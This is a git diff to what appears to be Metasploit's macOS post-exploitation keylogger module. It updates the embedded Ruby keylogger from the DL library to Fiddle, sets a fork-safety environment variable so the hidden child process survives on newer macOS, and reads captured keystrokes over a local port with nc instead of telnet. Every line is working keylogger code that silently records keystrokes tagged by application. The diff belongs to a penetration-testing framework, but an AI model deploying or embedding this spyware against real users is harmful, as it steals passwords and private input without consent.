diff --git a/modules/post/osx/capture/keylog_recorder.rb b/modules/post/osx/capture/keylog_recorder.rb
index fb6e0cb819..3eb81481ac 100644
--- a/modules/post/osx/capture/keylog_recorder.rb
+++ b/modules/post/osx/capture/keylog_recorder.rb
@@ -62,9 +62,9 @@ class MetasploitModule < Msf::Post
       :duration => datastore['DURATION'].to_i,
       :port => self.port
     }
-    cmd = ['ruby', '-e', ruby_code(opts)]
 
-    rpid = cmd_exec(cmd.shelljoin, nil, 10)
+    cmd = "OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES ruby -e #{ruby_code(opts).shellescape}"
+    rpid = cmd_exec(cmd, nil, 10)
 
     if rpid =~ /^\d+/
       print_status "Ruby process executing with pid #{rpid.to_i}"
@@ -100,7 +100,9 @@ class MetasploitModule < Msf::Post
           print_status "Sending USR1 signal to open TCP port..."
           cmd_exec("kill -USR1 #{self.pid}")
           print_status "Dumping logs..."
-          log = cmd_exec("telnet localhost #{self.port}")
+          # Telnet is not existent in High Sierra by default
+          log = cmd_exec("nc localhost #{self.port}")
+          print_status log
           log_a = log.scan(/^\[.+?\] \[.+?\] .*$/)
           log = log_a.join("\n")+"\n"
           print_status "#{log_a.size} keystrokes captured"
@@ -144,50 +146,14 @@ class MetasploitModule < Msf::Post
 # Kick off a child process and let parent die
 child_pid = fork do
   require 'thread'
-  require 'dl'
-  require 'dl/import'
-
+  require 'fiddle'
+  require 'fiddle/import'
 
   options = {
     :duration => #{opts[:duration]},
     :port => #{opts[:port]}
   }
 
-
-  #### Patches to DL (for compatibility between 1.8->1.9)
-
-  Importer = if defined?(DL::Importer) then DL::Importer else DL::Importable end
-
-  def ruby_1_9_or_higher?
-    RUBY_VERSION.to_f >= 1.9
-  end
-
-  def malloc(size)
-    if ruby_1_9_or_higher?
-      DL::CPtr.malloc(size)
-    else
-      DL::malloc(size)
-    end
-  end
-
-  # the old Ruby Importer defaults methods to downcase every import
-  # This is annoying, so we'll patch with method_missing
-  if not ruby_1_9_or_higher?
-    module DL
-      module Importable
-        def method_missing(meth, *args, &block)
-          str = meth.to_s
-          lower = str[0,1].downcase + str[1..-1]
-          if self.respond_to? lower, true
-            self.send lower, *args
-          else
-            super
-          end
-        end
-      end
-    end
-  end
-
   #### 1-way IPC ####
 
   log = ''
@@ -200,7 +166,7 @@ child_pid = fork do
         server = TCPServer.new(options[:port])
         client = server.accept
         log_semaphore.synchronize do
-          client.puts(log+"\n\r")
+          client.puts(log+"\n")
           log = ''
         end
         client.close
@@ -217,7 +183,7 @@ child_pid = fork do
   MAX_APP_NAME = 80
 
   module Carbon
-    extend Importer
+    extend Fiddle::Importer
     dlload '/System/Library/Frameworks/Carbon.framework/Carbon'
     extern 'unsigned long CopyProcessName(const ProcessSerialNumber *, void *)'
     extern 'void GetFrontProcess(ProcessSerialNumber *)'
@@ -228,11 +194,11 @@ child_pid = fork do
     extern 'int CFStringGetLength(void *)'
   end
 
-  psn = malloc(16)
-  name = malloc(16)
-  name_cstr = malloc(MAX_APP_NAME)
-  keymap = malloc(16)
-  state = malloc(8)
+  psn = Fiddle::Pointer.malloc(16)
+  name = Fiddle::Pointer.malloc(16)
+  name_cstr = Fiddle::Pointer.malloc(MAX_APP_NAME)
+  keymap = Fiddle::Pointer.malloc(16)
+  state = Fiddle::Pointer.malloc(8)
 
   #### Actual Keylogger code
 
@@ -305,7 +271,7 @@ child_pid = fork do
     if ascii != 0 or ctrlchar != ""
       log_semaphore.synchronize do
         if app_name != lastWindow
-          log = log << "[\#{Time.now.to_i}] [\#{app_name}]\\n"
+          log = log << "[\#{Time.now.to_i}] [\#{app_name}]\n"
           lastWindow = app_name
         end
         if ctrlchar != ""
@@ -330,4 +296,3 @@ Process.detach(child_pid)
 EOS
   end
 end
-